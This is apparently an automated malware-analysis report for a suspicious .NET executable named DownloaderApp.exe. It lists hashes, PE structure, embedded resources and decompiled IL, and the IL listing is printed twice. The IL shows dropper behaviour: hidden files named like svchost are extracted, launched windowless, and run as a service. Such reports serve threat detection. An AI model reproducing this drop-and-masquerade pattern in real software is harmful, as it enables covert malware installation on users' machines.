Suspicious
Suspect

2077635f6931c6ca9e678a8e2d4f8b89

PE Executable
|
MD5: 2077635f6931c6ca9e678a8e2d4f8b89
|
Size: 5.45 MB
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application/x-dosexec

Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Low

Hash
 Hash Value
MD5
2077635f6931c6ca9e678a8e2d4f8b89
Sha1
08cc6042523f0c725282f13ce3c960ddc112f4ef
Sha256
643cbddc08bcc23102d9d3faec6c8e6c75f45f036922f716c0d8e8a856d7b78d
Sha384
438a0984bff1063f42caddd7242085e29021c0dd1d0504130e5df311cd1074e1192d2d8a50248b357cb3c780e7780324
Sha512
0736b1815988387daaca2ca90d29093b1b93f93d34321dd86f07078534425b6460878ff37f66f99a0ebb5f82fe05e82296e097c5cfd6f436e89f5180132934a8
SSDeep
98304:zonYHo6EiPcxeJzAOOkv3d86Fx4+BxKmOH1ZaS4ayueNUGQvoF4XDfyZJiOSE:zonYHExqk07OlVYSG5NUrvVDf2tSE
TLSH
FB46330A10C006E0D56F63B88AB59BB0B5D32A0F3BD7BA654D26319FE5813A1CF747D9

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
Pe123 v2006.4.4-4.12
File Structure
2077635f6931c6ca9e678a8e2d4f8b89
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
WBr3UKftqqPo.H5LT6.06hpS
WBr3UKftqqPo.BpE2IM.Fxs7Z
WBr3UKftqqPo.WUASgy.vZdi
WBr3UKftqqPo.zSD4cy.tc4
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Info

PDB Path: C:\10\boot\Downloader_win\DownloaderApp\DownloaderApp\obj\Release\DownloaderApp.pdb
Module Name

DownloaderApp.exe
Full Name

DownloaderApp.exe
EntryPoint

System.Void A.B::Main(System.String[])
Scope Name

DownloaderApp.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

DownloaderApp
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.7.2
Total Strings

29
Main Method

System.Void A.B::Main(System.String[])
Main IL Instruction Count

146
Main IL

call System.String System.IO.Path::GetTempPath() ldstr svchostmanager.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.0 <null> call System.String System.IO.Path::GetTempPath() ldstr svchostam.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.1 <null> ldstr WBr3UKftqqPo.WUASgy.vZdi ldloc.0 <null> call System.Void A.B::F(System.String,System.String) ldloc.0 <null> ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldstr WBr3UKftqqPo.zSD4cy.tc4 ldloc.1 <null> call System.Void A.B::F(System.String,System.String) ldloc.1 <null> ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) leave.s IL_0049: call System.Boolean A.B::C() pop <null> leave.s IL_0049: call System.Boolean A.B::C() call System.Boolean A.B::C() brtrue.s IL_00C6: call System.Boolean System.Environment::get_UserInteractive() ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_007F: call System.Void A.B::D() newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> call System.Void A.B::D() leave.s IL_008C: ldc.i4 3000 pop <null> leave IL_01AD: ret ldc.i4 3000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_00C5: ret newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ret <null> call System.Boolean System.Environment::get_UserInteractive() brtrue.s IL_00D8: nop newobj System.Void A.E::.ctor() call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase) ret <null> nop <null> ldstr svchosthelper.exe stloc.2 <null> ldstr systemhelper.exe stloc.3 <null> ldstr WindowsLogsHelper stloc.s V_4 ldc.i4.s 36 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) dup <null> ldloc.2 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_5 ldloc.3 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_6 ldstr WBr3UKftqqPo.H5LT6.06hpS ldloc.s V_5 call System.Void A.B::F(System.String,System.String) ldstr WBr3UKftqqPo.BpE2IM.Fxs7Z ldloc.s V_6 call System.Void A.B::F(System.String,System.String) ldloc.s V_5 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.s V_6 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) call System.Void A.B::H() ldloc.s V_5 ldloc.s V_4 call System.Void A.B::I(System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.s V_6 callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ldc.r8 3 call System.TimeSpan System.TimeSpan::FromMinutes(System.Double) call System.Boolean A.B::L(System.TimeSpan) brfalse.s IL_01A8: leave.s IL_01AD ldloc.s V_5 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_01A8: leave.s IL_01AD newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.s V_5 callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> leave.s IL_01AD: ret pop <null> leave.s IL_01AD: ret ret <null>
Module Name

DownloaderApp.exe
Full Name

DownloaderApp.exe
EntryPoint

System.Void A.B::Main(System.String[])
Scope Name

DownloaderApp.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

DownloaderApp
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.7.2
Total Strings

29
Main Method

System.Void A.B::Main(System.String[])
Main IL Instruction Count

146
Main IL

call System.String System.IO.Path::GetTempPath() ldstr svchostmanager.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.0 <null> call System.String System.IO.Path::GetTempPath() ldstr svchostam.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.1 <null> ldstr WBr3UKftqqPo.WUASgy.vZdi ldloc.0 <null> call System.Void A.B::F(System.String,System.String) ldloc.0 <null> ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldstr WBr3UKftqqPo.zSD4cy.tc4 ldloc.1 <null> call System.Void A.B::F(System.String,System.String) ldloc.1 <null> ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) leave.s IL_0049: call System.Boolean A.B::C() pop <null> leave.s IL_0049: call System.Boolean A.B::C() call System.Boolean A.B::C() brtrue.s IL_00C6: call System.Boolean System.Environment::get_UserInteractive() ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_007F: call System.Void A.B::D() newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> call System.Void A.B::D() leave.s IL_008C: ldc.i4 3000 pop <null> leave IL_01AD: ret ldc.i4 3000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_00C5: ret newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ret <null> call System.Boolean System.Environment::get_UserInteractive() brtrue.s IL_00D8: nop newobj System.Void A.E::.ctor() call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase) ret <null> nop <null> ldstr svchosthelper.exe stloc.2 <null> ldstr systemhelper.exe stloc.3 <null> ldstr WindowsLogsHelper stloc.s V_4 ldc.i4.s 36 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) dup <null> ldloc.2 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_5 ldloc.3 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_6 ldstr WBr3UKftqqPo.H5LT6.06hpS ldloc.s V_5 call System.Void A.B::F(System.String,System.String) ldstr WBr3UKftqqPo.BpE2IM.Fxs7Z ldloc.s V_6 call System.Void A.B::F(System.String,System.String) ldloc.s V_5 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.s V_6 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) call System.Void A.B::H() ldloc.s V_5 ldloc.s V_4 call System.Void A.B::I(System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.s V_6 callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ldc.r8 3 call System.TimeSpan System.TimeSpan::FromMinutes(System.Double) call System.Boolean A.B::L(System.TimeSpan) brfalse.s IL_01A8: leave.s IL_01AD ldloc.s V_5 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_01A8: leave.s IL_01AD newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.s V_5 callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> leave.s IL_01AD: ret pop <null> leave.s IL_01AD: ret ret <null>
2077635f6931c6ca9e678a8e2d4f8b89 (5.45 MB)
File Structure
2077635f6931c6ca9e678a8e2d4f8b89
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
WBr3UKftqqPo.H5LT6.06hpS
WBr3UKftqqPo.BpE2IM.Fxs7Z
WBr3UKftqqPo.WUASgy.vZdi
WBr3UKftqqPo.zSD4cy.tc4
Characteristics
No malware configuration were found at this point.
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